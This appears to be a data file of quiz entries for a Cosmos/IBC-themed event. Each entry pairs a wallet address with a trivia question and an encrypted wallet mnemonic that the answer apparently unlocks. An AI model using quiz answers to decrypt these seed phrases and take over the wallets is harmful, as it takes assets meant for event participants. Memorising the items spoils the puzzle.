quiz032 | iaa1pa0p3auku3xcyxd6tl04pczm3szt0g235u60dd | {"question":"What's the standard for SFT? (erc-xxx)","mnemonics_encrypted":"kdab2utMBNEX4sA2aK_3X2aPwp0S2800ejy3Ag7m1dNEfUfOWle8ny8vcTv9L2ZBGK3YbOdxsiNivwR8fUeuQdokv1FObehLhttlubE1y-fWFpgoFVZMGQFcebM7DnC-Tpxn6aD2lp5RzEtkNyJSCI-gtBTX0Yiu6cWN_22NLc-pX0TnvItgAFCFRBLIDYogVE2FRF1xRvJlyPHvufrozFugOy7uGg==","flow":"f04"} |
quiz033 | iaa1ydz3dc78pg54x25cfsgxjvlysxl7eff6p94dzy | {"question":"What's the standard for NFT Consumable Extension? (erc-xxx)","mnemonics_encrypted":"76swDqtZFoIWfak8d5P00t5CezVl1IkLMNt9b4TCP5Lc4QDNQLlr1hXN7L7Rmh2nOpVrzeyYwRg_uCAHqUg-agVA5ygIIrxsxFZ-WtZqUeiCQizzpd0a3aAsdrr3XnYKvR5R62U4EcNWyqNi5amR-vEXoyU_RA8n90fNlPELG6564A9D7NliGqZDD83FSkIk2g6une6cW3-dqSK54Iry2VHKroxEjYdzqw==","flow":"f04"} |
quiz034 | iaa1f394huy8vj560zcrna2qc6vvxh6chq55d7vu4f | {"question":"What's the standard for Hierarchical NFTs? (erc-xxx)","mnemonics_encrypted":"lELcFzAlJHzOU7WCbmgMqsr0qg3ldUcZtOMr8zOtt6JcPhtpGbB4hrEiNGlwJyJ9ef3uXAqcKjN4D0VG52ff2e0rveNiK-4p9uQ8uD_2nUBfqRkGwqgbu0n_hk7YmEGmY2k2pewggfRJoLf1y2tUzRu-SVRj9JW3522Lm_AjK3lyR0iHYkwpn7jHYqtBkOTRqEnAi0wtKE6O8zpuLSWA-jqgAc7j","flow":"f04"} |
quiz035 | iaa1d82d7m63nn6xz7c2y9t9u36kppcm6jvvv96lmv | {"question":"What's the standard for Shareable NFTs? (erc-xxx)","mnemonics_encrypted":"jnNq3n3t-FWLS3fhUDsKYbooB-Dc6htUldfEommEeSL9MJYyKJWUZoF_gI1x5JuW6y_n13LhePfcEPxR2DPADGzL8WliD07JDcAeXA-vJS49e1mO6tcERjPgJDJ53oeqZiIm_lXmT5L-1zo5DI6N6X8xfMZPVxFM7Wlm9Jo-_2bP74NxeUyOtGin0m8OwZfNMtCO-LpW6_sNI7auypizcXN-tnwp5x2K","flow":"f04"} |
quiz036 | iaa17jyxk8txyuq6jy3ze4anedyjntpx076qq0tr42 | {"question":"What is the repository name of the Go implementation of IBC relayer?","mnemonics_encrypted":"kQaEeKpQyniVQLuaWPfzonVW7DrT36_zFO2sG8Dc532_SNe43R5MuL1EKnCuwG5U5_bL4h8M9mz1KKaFgUwlv4QZ0yYBTPMnhHLO6h8ACa4jYDDh-uA5cPbxY_B7i1lxmTJHsE0rtucFn1Bod_qP3Fjonst-zE9Dzj2skjtbN57Blei_TpDWzn-BumIFwOAaJAAYklBsVTru4RghOTWu_n1v","flow":"f04"} |
quiz037 | iaa1lh6dykta7qk7k3t9el8yjjvd6j54xnas0fxcwa | {"question":"What is the repository name of the Rust implementation of IBC relayer?","mnemonics_encrypted":"S6iut5F_S9frGH1kRf6oAL4VmqZ1U3FoEBFeRKIZHEi0ElHzj146_CTV7ZoughSA19__RHGIcF-0O0RBxMatrUo8ncMmqdzTI48-P2G6fkBSZDkeMzA0hWpbu-7LZoSxd4DPFWlFCkEUX6gW50tWtItIYWcoz-fsukCRU0HCf2qiI85JdL8fHgWrnAF5TQfg4bdVDORedDxlnpWvkBM1IEsLC0wNDxf76R0F4ydjP_npeID6wto=","flow":"f04"} |
quiz038 | iaa1dqf6p3cz45my6c4uk7ktdhztfyp37c0300jega | {"question":"What is the repository name of the SDK implementation of ICS-721 by Bianjie?","mnemonics_encrypted":"HRKPEwmY3IG_DpZYq5BWtvONM9D7MPmSojwQ76GUGkZCXcX4p9HN9O3uuf1odzMqeaG3DXEANN4jf54EKOcmwtW9mwxZgJ5mQ2qBlDTrBPssVA02GWrzAmx0MrBY7lwlASdekLlIq82iF3rJBjkxO30-Y_2tem0op7HoGu8zVVF9wjMez_rP0uvSTfHiJerzYRn8yRWN9kE_q-C0hYuqzc6Fa7yX","flow":"f04"} |
quiz039 | iaa1gzdrv6zm9luj30dwdfmf0tjhwmlmcglgsyxcxe | {"question":"What is the repository name of the Wasm implementation of ICS-721 by Stargaze?","mnemonics_encrypted":"6A850VIydbQvi5TaPq9h0ERz4TzVZZvpdOPboL-l8uO9CIe51RDw6gACzmDQJlGQIJRmD-hnLS-f35kvJ4Mq4q__21Xq5bLZP0QOg_T0ZOLwJYfizFVWWW6XKpv99dZsS3TqeOARbFP9t97awYAC79wf69B-kdCmbm76luiNTQr7eL-KwkavSAdSAOIMdAKg4BRW1TzLv_5LSSaiI8rbZPLCX7bd","flow":"f04"} |
quiz040 | iaa18dl6rf26u8vu42m3hwg96ytnevh0dhq82zp74d | {"question":"How many general tasks are in GoN event?","mnemonics_encrypted":"Q4z6LB2Dni2xZxdaCSlv36AQPbSkQK-HHadS3Z32zj7lfdTcdqlYhAVMI4LNlcQ6GIijgxkLIf3-p2w7Lvv0rTVOk-tseolEbPrpGfDbI8t_xY-qKenTVmBHK02JbK2MrPKpLT4CjkO-_2QPjaUQf7-3GQdT6c5S8IXlrdJ_fdPsLAg3xqNuHyLTU9JDSguuED9TkdkpqYRoEhZfi18HJZ8COrtWRjnfw6bfqk4s86w=","flow":"f04"} |
quiz041 | iaa12ndatuvx4jdj52mtkn7mknl725kcmcwk6n5txl | {"question":"How many game tasks are in GoN event?","mnemonics_encrypted":"v201JWiL_yZo99DdnxI3qNNxtisjaiJ62hWtHqmOcaKmp1itT_ABIe69Fc8bJSrWGbGoBCi0mf-GjJx8Tu8KLWFKgMWWdNqt5cfzKRBh_moKuYxxYtIThQyqt9PWz-G3r34Z1t_rlfpWim8wo7UtWmCmK_zL_ewho1BSscVkMTyFVkR1_hRnSp2IFo-eR3BvunGg_uU28Y6TsMMW","flow":"f04"} |
quiz042 | iaa1nxm77rj3mgh93r9aquam2rkdhsp6s83y9du7ux | {"question":"How many challenges are in GoN event?","mnemonics_encrypted":"kCr0i07tgb1S1GMc2ZzzAtk2-HbKFjALIVXHYXAUkD8xzVbsOHRMk1cmxmL4Al4hGGyiUm5zDgxVdRB6CVFyOlH7eU97UivaQ_FzhZh57KhKuE-x1WkCz3eU90adDpVjFNBcMHbtxnmvI4AGZHuyDyXDKojldSnXHwCay8FDi2_2K3SUmkA7bN_dsHxdGayaVZWKvFIpoRK-nv-JX1LvtovHn9bpNnEu6w==","flow":"f04"} |
quiz043 | iaa1m2a43dfp6gj9c5dl4h2e29jkceravtqf5fdp2w | {"question":"How many awards are in GoN event?","mnemonics_encrypted":"tlgIM1cC3Z5_52qGGMXfRVkLieVk3zsxIICUT91PRW8Z0ZavjIrU6-7Yt-_IyN-mVWkbeJAZVWOHDqCEqwc9xY7izuCMtx20iK6--wcJHf4OEjl-peUIBfENf4K0-J15oVByZcwOLO5ik3oQV7xI_XFnDjfqWyLRW3CVSklWbuBl3FNUqnuFknvHUiKyaIJeo7kIDDh-0k0989PyXHefY0k5UuxFSA8OMRoM","flow":"f04"} |
quiz044 | iaa1szt27jvltzu5z8gu76mf9nyunfzfgukxf8krmq | {"question":"How many round of airdrops are in GoN event?","mnemonics_encrypted":"Bdq-YyYJdEfG7FTyK2pmoP5BcejNQop-OrxXXlI2L1LPtupJlBlu28xDLw9ywlrhkSWHH0xtARFs_5MIaT-hUOhDEDWIMXeJm4bo6sDMxyW06XvjfVzroksg8dF_8sy47EC2G2Ke1Aw0J8OnB-zQ7z0emuUEaJGOB3i_ovxC6QjSmntoDQNGwEGSYah_4rE0o61Dom8pora7-lvgLk6dax0bKiT17A==","flow":"f04"} |
quiz045 | iaa1wfnpkp7al4ftt9yy6l0hw0jlq56g2jq5xfwrxe | {"question":"Which Interchain Standard has specified the interchain account implementation?","mnemonics_encrypted":"hdyXm__AtREK6uJg-l3imjAOmdopoOjPJHi3NlnyJlLgrRIC26DgnCanfib5SvpHJV5RbnDRDoSPCdCciGNTUjmUlB2BJc3_HspRbZ0BYP1baYfPZlz9TWknubHw0wwqqp-zfq25jeVSsKDhlAt6DRk1eNopA46r0OvqqC4ulhLYwiCq1X0FqdI8mDUkcpvdPdHcxHUWf15RdXTKN1S4piZ7HQbvMsyajQ==","flow":"f04"} |
quiz046 | iaa1rtpe2tp0n4cmcdn9u7k2hmvd76w637cgkuzm6k | {"question":"Which Interchain Standard has specified the atom swap implementation?","mnemonics_encrypted":"tc6fCxdnWFDV0EsQlyyp7uZimY-zSvyBnGL52et-YjR-mu3pCH06MNbeXj2U1faHIEz61j5zal5aKASnxehSSi_L3bADekOCJDDZjr3s8CEuFtwomUgmyxrRD3ZDnLg389xlt1C1qthMfFgbj7GHcJFhLuWPVpCFNrT3rW4ok5-B5tZBTgsRWznWX0iPtazLDF4sRYQYy3H0qGrY4DK3J43YWsmWFQ==","flow":"f04"} |
quiz047 | iaa1ssj78m4m92zeeryfhtrcwn6er30faewa6e6hh4 | {"question":"Which part of the core IBC protocol serves as the conduit to transfer packets between a module/application on one chain and a module on another chain?","mnemonics_encrypted":"mxksB_GdYEEXjRPm1dpnKtRmuaM8ldufkFyrQh7ywZrzH_neZxH-RIBweAtkXBpAP9ZKwKkzWHSecxWFU27YUpeqtDIubBQRfnfOrV0o9dIxoXQGzjvYpZ9NdGADNtEwzN_vQ3JPJtjUW9McqCNg1H32d1Rerr_oPJWr55E8n-nyLMnAjsTV-3FR_FqjuR8SlzUorNqTh3gv0eaNd5-snhG9GYn6PEPFrnMOqp3T","flow":"f04"} |
quiz048 | iaa10ng00tezeplcx4x5g49rr26ucxc7s3xglcnxs2 | {"question":"What is the particular kind of identifier that is used in permission channel opening in IBC?","mnemonics_encrypted":"PPbAfOch9CQRDrVBpAwd3u_dTs2ZHlMqiAmTy-wzk8cb3LhnG9y9Jp3om9DXJuyOt1EbnpxcN9THt_h3UFbTQY5c-DNPFXBS-q3-M27S0To_VXuexSEdRUoDDYCFNDpsVxo-f1P8Mr9PSCC5MP5YHt3__PnqYwmzFzoUzVkKBizLNa1Vgjqr1uQg75vpe-7qWINZYFtVq9oBmIIG","flow":"f04"} |
quiz049 | iaa1y2nenudjtc3udd8hk3sccm76me00ymxsdnd0ru | {"question":"What is the name of the protocol utilized by Cosmos for resolving blockchain interoperability?","mnemonics_encrypted":"Z4LRCBFJxhGMn_tWyUqE8lrHvnwwyuyOvJYCSgitmhH1U4_bK3Ux4wyticL3IZobpnVP94tmsmxmVcqWjviGXpNQZVOtnrN1AkfEWSq21trrW0fBJVB3g5iXG_Pwwx6JmZTyyEwFdkK3F0ueRR7xmHNo6oPRDKpqlXTUQ6b2Qp80NbstUXyWAZG0V4CwIJYXeUKokrq4F3fRRFSNx79V1oAIlTxc","flow":"f04"} |
quiz050 | iaa1n3x6d5hf6tenag0sjmd050ggjwmcpvnlqd8pwf | {"question":"What does IBC use to track the consensus states of other blockchains?","mnemonics_encrypted":"Izl5F2nU8LEmQmfyYUVaOG_RLWWhBVwUE_Q4E1CmAs6bzmwLDVuFmbOUHtk2m_5sMz_AErcxg8co7Q1gLIXDDMZ5iqRo26hM9DUU70jD8MmYn1nh0rM__jOYoxvyVtVKbpnGYycH211UBdgju2X5YOqix272OdGZuD7_l9kg1VBadFTFyspAIa1jj5CiVHGlu1iYsRnzaWzjOZ_8ZjFcOSLoB-36s4ymnx5vf-zO3g==","flow":"f04"} |
quiz051 | iaa1valvpyngz6ruveqndtfa6a3zfxg850kgjq5eva | {"question":"Which Interchain Standard has specified the interchain NFT transfer implementation?","mnemonics_encrypted":"GRq1u2jXxtpUaPJLRNBf7FAo0sVm8TAqw7feQ4Qi5DqGyNA4Nb9WHkV_fq-Zw2M_bstyoQEXpUxvwFrIPCKPlJ2P1njJCbAhV02lhxuz-GybnIcHosbQ5XPPRUG0dqJxcu1r2Qx1juT8KMnkyk9qPJguJk2q0j3oAbN1LNNvPV0V9sO22lVjz2D7RM-SkaVCrM553VnI1xHesbMFZec9jdY=","flow":"f04"} |
quiz052 | iaa15xz6fwx700wj27glfpy5afny5v8wavkkpvuu2x | {"question":"Which Interchain Standard has specified the interchain fungible token transfer implementation?","mnemonics_encrypted":"z8wnye_NZEtSUxXy-DVazATsPbzqLfCg7rIN5j_N61vMaFqTJuWXZkBFQ8tjWDtxxlGVICyMPGot5NOf9Mc6ERAAODme7SIfb-qo-gI4CO4ogku5vA0pmE4jnDEXOP3FWqDgG491ge94BC-4uhK5Yx9vyfeOiwfv7EQA1vtTZNNZLiSA7UZz56CGT_xcXaQ4aVFI5TPn5N-n6z6GE9pRv3X9x-Vw","flow":"f04"} |
quiz053 | iaa1n0c8yjzlav3n7fdrp9e9rakjhcunk4j0dlug6x | {"question":"Which Interchain Standard has specified the fee middleware implementation for incentivizing Cosmos relayers?","mnemonics_encrypted":"2Coe_9p4vNNjomB4VFMHwJwzj9k9PbflckK9JP7XgohOgfW6YXDFN6T5TC8ysHymLs-RE6b-CLCkRcSXkwpidXDcwkallfxhJb79SetwK38BGW82E3M_1tzvOwA4I3rgFatXMNuxAAi_UxXeG5JwaEP8GVVv4cFzsZc5cuXimbKFeyOru9mQQBlxvMcLavsA6BieCS3EWg-GymiafL2oc-fMTa2fEW_jmx9f0WcljDdDSg==","flow":"f04"} |
quiz054 | iaa1epv2q6l59lp9qlewtwdh7c8gu5z7rw0hk7kk23 | {"question":"Which Interchain Standard has specified the crosschain validation implementation?","mnemonics_encrypted":"iWCpmD6NXjehat0uBWUmBbTiqCkEtxt-fA6xURAkx1_fim2vmDo9sdf4xsryoC4syNbH_JMUAdyo_Tzq7iyl-libbQ1WJKcJ9R-brv6SXIoYwOcfAhtW5jMDs5E6c0GC65U0S58RVretLnHd-8--Ao9Q_yo59bLu_fy_ZPrFrDbxzCQXUHI5vpiBMXAGve65xLnhRU6yb6oHn3Dpw9rL-79oPzea6rA=","flow":"f04"} |
quiz055 | iaa147243dr2d8en3pcnu7pnsl38acx2rzc967vdpv | {"question":"Which Interchain Standard has specified the crosschain query implementation?","mnemonics_encrypted":"vMVDhRqPiipJYSNsQUGQgTAP31rU8ydOLEnGzpjRejraE_OjoYcx9R3dW-PJlb997RlahJeYTNHls_AVNbGH1pJXg2vVWlmDNnI6JSN8Nj0i7Ew0PYijZqgJdgKjbYthZ99WhP8RJW1NRKtG2_0AYJbWPxfbM92afbBE63xHkfNsGaGw6aJ739E1_cRQ6qkMZQcNjgBMw3CUs9krq88yaCPpCuEceIpg6qHEVYJj8DkW","flow":"f04"} |
quiz056 | iaa1g7n2yfg0j6ekxedj5u7evpc2y8p8ya3zhrghd2 | {"question":"What's the default light client type for Cosmos Chain?","mnemonics_encrypted":"c_0U3vj6TKjB3blmnvb6IHq9a2nODCyH39kFAxAKOEz_FE4ivbihjBi_Oz1xB9kAuBHtJ-iZSJdS73hdmL29qM_6zQ1H8OKboQwQAFArDly_u2GFeBT-0z5BEDkgN_S4s3f3C6q3SYexgYNzkkygIsgIBYuSCs3cbSi9dqGDSvODi1mNYiuHTE1nNfWU_-_PEJjaQ4fkHYb8ZjqP8-IQaKvgfd_LoQ==","flow":"f04"} |
quiz057 | iaa1yjjq98x26s5xxxe7zwztvnfpt9599h96mzye7z | {"question":"What's the recommended data format for tokenData and classData in NonFungibleTokenPacketData?","mnemonics_encrypted":"VnIIcmPTCYBsaq3HtgbFMonindc38e54iI-w64Bm7fKGbLTAmBCoAD_x3LLRE3WkhgjBRFezEWn7lMr1KfN-WntzgJEyIn0lVWrY_D3MUR1UNvQfNl4iLnY7aAV7BWvvkrU0QsRDdvYNZe4yjsZXG1qslgc3gmhUz9vYJHgYA3SynfIgZPM-mfFaNCemBG73gZptB5Lp6Q==","flow":"f04"} |
quiz058 | iaa1uyql4xvuzqxc8extm8jzy6ryaf8r6uk4cecdxv | {"question":"What's the required encoding type for tokenData and classData in NonFungibleTokenPacketData?","mnemonics_encrypted":"gct21fiZMGCnZR1HJcxR59AF4uvPpYvOrMIIX5e6tjNoKCs2P3IxBVKSoaRkzaBe8NjORERLdP5WO0Yt_dW88xlDHJQMUG3aPSQosLXzLEdXZPmrWoWgg-qUhOYSYyItR8I9tQHx_R5OFKM3UOhLEzsxIssRS08N_RvmZ3zig6_lkbawswCAKFceph77W0pLvOTNpINM2WIl4KR9ZMaKRIHIyOnTPzhTOvjBzTrs6w==","flow":"f04"} |
quiz059 | iaa1uj4lnpr7sp645ge8tp55nmjq36mx6t43m5k5qm | {"question":"In which programming language did IRISnet implement ICS-721?","mnemonics_encrypted":"JDnMIYtB8ONpZ9YcdaYydQ-yVY93Ea-14HTvSLy9HZNJAPc3AHvVu4MC0zWEcwqW-Cg6fhb5-YgarGc1X2reJSLFnlj7BKQmTeOIOGxDnIId4-WfSMdeOfTVca2nFYzRqLECs1wGUCiMQpxs4iZEW6WuMkrfgfiKYF74ugQukW_lCiLjRncP1rJjW__WkzrMaUoPMvoTPtMWcVLz8CzfnW2h2-C737BIxwnCnDunARty","flow":"f04"} |
quiz060 | iaa1htfcl7jhpx8ayyjrz0ueyss0vcfdfyneflusr5 | {"question":"Through which framework did Juno and Stargaze implement ICS-721?","mnemonics_encrypted":"-qelSIdHkxJtZvlg4VYEA4TH8KfT9zebZPHVCJ0OKxfTAhTzcbtWywgAxNxhuggYahimhLFEQtiiylOhVF4ykIczcHyk6voRJHP8syOXeBbuEO1uaF988NUT7_ID1zVa1GAZExfinzQqvlilv7hKcMGbrD2hKDyqBZGtwv_3pi9A7xDURKtz0Qftp77qL3RkIoa1gtElSQpa1DiVRCueZmhNdbM3","flow":"f04"} |
quiz061 | iaa10xc3emnazmtjawup5j9q94sdjpsvua42ekh5u6 | {"question":"What's the repo's name of the Cosmos Hub?","mnemonics_encrypted":"m1fw5NUzWMqk6QSYVyJibtf5Y-La1R-_8k5Cvtb94w61qGPbFzaoTrT6m-CD5XYDN29U3y-TLIDoFZf_a4YxZ7hz14KpJXeeDiNlSjWcuDBg4N_3kP46vSEUS9Eu43IUMWFQOc1NyL9vC5YQu-BHFekxi5NnIc8AQdCNGNUS365C5jRUBLJ5svBlwpoNs-ggxijnFoP1htRK87b3mih2aWhe3Dx5K7AfKfc=","flow":"f04"} |
quiz062 | iaa12zn6028730yt5kuqejutrjgswt0en9j675jp25 | {"question":"What's the token symbol of Cosmos Hub?","mnemonics_encrypted":"6U-WygKeWF9cZ5bRCE_JK8ND_plO4t-ICZo9fgByRjF7JM3bG7Sp49cdB0XIuB7LFkdfu3HXqdSJeUoVv3ywtyXkvVi2-o5RVW9DO3uS-by4TciY6YM8UaJOaG_0KROx5FdUzjK9PMR6yjtTTl3mn7R36LWzVpzHzI57xOT4xFjkCNF611UbQrnmmZqbQtLu85Z5MGLYaldNIzatNx5Ea6XLdDd9I_aMQO9CpAkJui1wrQ==","flow":"f04"} |
quiz063 | iaa12ajhaxfx7k8gheuekzwfdv4lqvtm303zera8ye | {"question":"What interface does the application layer use to communicate with the consensus layer?","mnemonics_encrypted":"Bp6OS4iamWRGmC4tzf7_pgoBGM_2M-MXZfD8ipKzl7rQ0P2O8qXkEURotq4FTf5jkvLhbLLGkOzlBRjURU-OkIsQnskV3uaEF_t8th9YYk8MHGXO8NoAA9ardVd_UmpqtwsnedJTTDv9A2lmNhhzj8h5BUm3Ct2tsPmphAI7ImHVNeR1bANu0EK2JJmAmRJ3pFYNbL9E9i1lX2sjPaBDejT-4tk=","flow":"f04"} |
quiz064 | iaa1kcag7m4su5hlly2mvxrdjtq3ylc7v8p2qj8rkp | {"question":"What terminology cosmos uses for tracking resource consumption?","mnemonics_encrypted":"Y5jx_W4TxSvYKs7HY8WXERJhNeMf1SdF6rj713TYVmJwxtOS8SiM2uvmo2Jj_8ZVYEonbiLEN4YlYkDvQ8EUydTws_vCnEDARYOv9Z86gRP98G2-W_DGIMbwBXHhOualFyu22bT75utDCmeRweakkIWqreWyzRSPgDoY68vtZoAk0qvwBZF69qEKkxKHgascc_79oJ1Kuq7DkNI4fzEXJ_83kuzPxqbZzQ==","flow":"f04"} |
quiz065 | iaa1h75vwwukyg42zgrahfjz85wllclffw30jwrm8l | {"question":"Which role is responsible for commiting blocks?","mnemonics_encrypted":"GiA6k4QUEn1JFoo73Z7XL9ZiKOGiWAGh8sAvK2W9SJzxnWPmLX9WV4l9tizKxKsPixGfvdZKRLuuNXSx3rz5hT3jueEqXEt9nXHGDYcklRKB3Jvcynwp1wWIUqrrqAwigiNvVonnxfTIQG-OXM_1UveXrIM2no22EH-bJDA7yPHC-_rfS-mBSfGMFEkKwpfHkgYAo02yvugZf9UosrKQ4rAh","flow":"f04"} |
quiz066 | iaa1sv3msmtvph7qw8pnerme04ssa0tlr0wpfgpmw4 | {"question":"What's the process of locking up a digital asset to provide economic security for a public blockchain?","mnemonics_encrypted":"aeDAkSZUwy-Mca0HNLsshDdej9e1kfECD4vyw-vs44hlhyPMiAEbiRGQzQEly1z2tjdGDHC67KhWGa3jcVqYq3FdVc7BZ8w29uzXjztRJl5B49I7iV8LSt_OFW60YthiFv2Z0SF2YTyj8HOzHWfwR744_KE3I1_x2Wl2qZ7cwX2tpK7SlpHw6Cuze5Hb-CCmenRJ3W7ybfOT7uRc3LAZzH6wbCswM6srnQ==","flow":"f04"} |
quiz067 | iaa167nqy273rjlvja08xct39mzashrqupyfellcxd | {"question":"What object does a user create to trigger state changes in application?","mnemonics_encrypted":"JVzs5-7l8aaP_QCQ405ijqyIh12DchNUZ3udG3LiV52V8NhqzHy7d8SdMpjuT7g_zjIJu61DAAz3bOTq-67xb6u4QQoOY5L1hwi2vMgT6aP8ILcTp9n_SOjiiih9xXXnQPhXTfY0SqWRrQm2TpWbte96I_plgyK1caGMx-aBKUH2vpJFQaaumky6yUS28GH-sqaHJni3v3WMJDlmrxdosk2MIiEBYA==","flow":"f04"} |
quiz068 | iaa1n4apkrpqw29m3sry2p32j9ehzc9mkuzrlw3p6e | {"question":"What's the one step before including message in a transaction?","mnemonics_encrypted":"ApbL3_SPc2EmCpn2CroDUIqk1Odj44i2BfE80uDr_GzmHRgjqI2Kxuux0XCIvQi5lLOIITOSj9hGJfCy25FbjN2nxRyh_GcGqw-vc9wMEV4iC5BLaiOd9aVG7PxYuFCkko0XdvwRtALg__0hXqEVC7AbsDe65R_F04Iolv1Gvxc37T_OwJH6RJAA59Uw9E32K5jtaxyC4-j_RGt_GwIh8VFvrg==","flow":"f04"} |
quiz069 | iaa16acu2zzh8d557amr8dwqd39r43qs0d2mfpt2wa | {"question":"What's the terminology for transactions being sent to other nodes?","mnemonics_encrypted":"8Wm-zqrYZ04G4OvRmfeCM4oazkuKs8wAwk6TtYIp1y_2nnfv3KAZGmz1ijCA_d2l8R8dnBETK0mwTodGULAnL7y_lMNoQo67DfITy46qpj2mdnS0u_itMfS3JFCSlGO_LIjnef_zZQNehid8xTcBKHvpvxUXPG19b9Wem-CCflqmn03MhHufjmpjXBAeEiJRuOReNAmkOZ5StvjVj0c=","flow":"f04"} |
quiz070 | iaa1t8w0ee3kcvx8rnuu9tux2kc5u34sx42ez6nteq | {"question":"Through what mechanism can atom holders submit a proposal?","mnemonics_encrypted":"Y8U26BvCarytYLD2WlhO1QSPLYjL_stOC4XwKOdOhdk0V063dQyWENEWtKsOFb50PBgzF6atAR8MMXZYm_iOfbFH1HaVz8K8-x9mElU-BWDdHtVYBXwEbZYamjHQW5cyhrxlmolRK-XrYQoDr3Vim3wtM_LetqlQNRBo-C1zHudtIhLOF7D11vcKxZ43Vbc_JmVuFp9DvWOewPZCWAD4","flow":"f04"} |
quiz071 | iaa13amle8eh5t53cj0jndvwuq0c9dfa32h2sc6s6c | {"question":"What's the key prerequisite for a proposer to submit a proposal?","mnemonics_encrypted":"E0arQF9mU66dnjHPVY5es6I761rNqvdcvC-GwtabPY6LkWsQ_NnpVssjhPOk2Np2Bide-tI3oJvcAoeubKI2YbUTq1yDxxFcUnObk6GLLCmxXOW9MnP3sdYs3SVPBk7Msk9wro3Lf2bm0OJ3N4DruyHJZK9oNl1DW8Hbq_H1FQ5nyC75rsZFoGWKqDDRCT3BTdLLPY1bPHr_xEAMI2U_eT8QoFapa5dkIQ==","flow":"f04"} |
quiz072 | iaa1tt57dlmucuxw98vudewchztdag7c887syp7kut | {"question":"What's the operation to impact the result of a proposal?","mnemonics_encrypted":"cRn-fYma-b5a5ghL0R3z9-tUTrBR4-9DDFC4An2CkgJT1-5fmRfledIcxtD5mq2MoHVjh5uKYSK1Bmmd1nK9C-4I1UW9Ezu9fFrd68Qlfs66czvdXLgMQQgsvjPEWpOTcyfNPDvLwPTpNi99JwPG3yx0-iuxnUeh75Tf9KTBbZmF17ebRgYie7kDNiY5ibb-IjNgpDa1nOeGJkzVK2mtPKrFKyXRN4Po4jyOJJLJxDKRn50=","flow":"f04"} |
quiz073 | iaa1q07wwj29sqwhqz2h0y5wd5td5shg7750hrq8g2 | {"question":"What's the terminology for the minimum percentage of voting power that needs to be cast on a proposal for the result to be valid?","mnemonics_encrypted":"RglUuAmiV6uWwm639MmFMZqlWki_UHuO84pqwkgqwxRLUbBTf0G9kQhIdo8VZDATatTIdEIVgRS52IIlv1eKU8UxFHeE1dok9ov9Y-hGf1j6y877CBaAtJU9YXsCm-ketBYKU1ZQHTBr0F-LpEd6tjY82YSOLbxOZ7Uj90K2o-MC_MsMAn8wFWOCUvK254HTBuF7eVpRI0Sr22_bQmQqh0P1gGw=","flow":"f04"} |
quiz074 | iaa1muuwyk2r6lsgej8jawtc2as5vr8vevl5deagy5 | {"question":"Through what tech does the Cosmos gain horizontal scalability?","mnemonics_encrypted":"NJ1Rpk6p45ko4jRLeHg5ta5xcDWj0Zdat2erlsyKP8WOG0j9oIBBGsWFLajvALMMqgEsTThRkUQRangcl4dvrbf2USioqmlzoAMsyp4oqyhEMtSv3csGfrAoUvrBJiHKZdx4yywm_fUZ0RO4imUo_jHbE7PGs3V5yz972gpToR1M9chTYXAiQz-eBvthkhD23_0W8ylT13h4ygJeP5G3HNk=","flow":"f04"} |
quiz075 | iaa1tts6l3vzsm9y3hj23kfe07qwcev2cjz2aretcz | {"question":"Which chain in Cosmos ecosystem first implemented EVM?","mnemonics_encrypted":"I1QcQ0Wd4wfu73nl_GDZJ99_n6W6GL_b7_FkhHnK96JhI3WiE8XKNEG1HDnmIcBCtP9Yt6114qUxGZTupI1-X0jNnWAZFimf03yuk0CrmLhmZpEhMwiSb4PxidPchq3QTqMEziFmyXl_qMOe5qf1jomTk6EWmnSXV7fs2s2fh-2V5i5hLm7QG5phAQhO9R9Ulm3iuwqNvo-FD3TKuVw79oOG1mTb5xSiZwQCUvbhFjpOvQ==","flow":"f04"} |
quiz076 | iaa1fvc8tcy7qw3nh2fampd0kkyvqy6yrhtft02sxh | {"question":"What year did Cosmos Hub first go live?","mnemonics_encrypted":"FBP_1TEpEzBRqq2CV3Iow1JV17LOHLyHUwc1ViGFMLHJsL0GX_PYE0EYQhdnq8UfGWqkQ43nFEndvqPHNta7S0eE848uYldCEvB-qHNH4KcPzZNgNtJbLDkvR_r-L2A6W4D1oHjKX0hIf1LvWOgohV-7XvW1HCDQtNXE8fvVg7WBlQa7ywe6J5gN82Q7GF8-xium1MwefFE4RnsAbbKbvr3N3DM=","flow":"f04"} |
quiz077 | iaa159kqwg8czjr8xq9luha3sryy2j24vglj8yty37 | {"question":"What year did IRIS Hub first go live?","mnemonics_encrypted":"xiYzhYfyN1ouQp2IooDyfWW2MwrI1dnyVqBz83y3A0Ev7OivsppIokpZt4TSpREdl5pKdIk8pOp4WULRUXxW_D-F6sXYHVRer0XIKooxskyADzQetGZREWMwDkqmP2s7Xvv7Eokz8OgfZYIoVHJhzPvxOIPOfBf8PAcaz5UkPijPm_4HL3uMFQ-bsZYDx7w84NiZ0XLsvkMBKUw=","flow":"f04"} |
quiz078 | iaa1flwgs0zgq9xvwap3duvykdek0a5zksddur7aka | {"question":"What year did Stargaze first go live?","mnemonics_encrypted":"mTivzdA4GJ7BthTm0vzG9_lP0QZpvIdup0bMbfXZk3yIpx1E8xxZzM9s1OyKrHZLLt-CqTnltbE_3rq4PuJ9eT7y_coVA_nblb-844TdP7sMz1XvG4AnXTrItMesaaVMTTrKIaOQu5pIUe2265PCjkaJb6w2s92h-MM4mD3xbKg2F4GWjY-GAHOV8LJU6y-CC88oCUcOTdFytYmM_ItyxG9OfGUdkDKNyT0Sdith6_rpRnU=","flow":"f04"} |
quiz079 | iaa19c8tm4lskjf5vz9zm02fhymdj4fq9lg844quh9 | {"question":"What year did Juno first go live?","mnemonics_encrypted":"zaKv0Me6nFumk0QwUDZJ_YuMVhgTbs4R6U_oR4QhvovgzHwN-HpgMRK1FSeCFjd-qiYME2_uoIDkBlWAXm6Z6hRZfB02A8D34EfZXXggDR8CxxIH_cSFvEiv_bskSKXvSDNLXlNve_pDSXYHiR69if2Wzz-tId_TbnfC1hL_5w-_3rgeLoVG1wuj-1b_lbIP9UL7txnZBEFNyJJ6AcEJge7mXqedyjk5bmA=","flow":"f04"} |
quiz080 | iaa1kkrsla8g9egnkyfh7az753h04r4fm4d8ml6n3u | {"question":"What year did IBC first launch?","mnemonics_encrypted":"eBUYyoKq_dF8mdHZpXFt6HwI9egmjZupyw6M7Fj4ZtumrVGg8zf7u7UOseDfS9cRjnEihAHyD2YjDNbxjeZYazZzsFfJaXhH_DNO9X2JjC9JCwk8fhghcflmCnYPPSYZ-ZBk_3mQiiikV55_z5HRcoDA6GRQc3KKOXeiy8dJQyR7DmEK1CUYZ0MfIUA1wNt9qGOGllCMaXLxCgjFV0xHd3Ed8LiK5w==","flow":"f04"} |
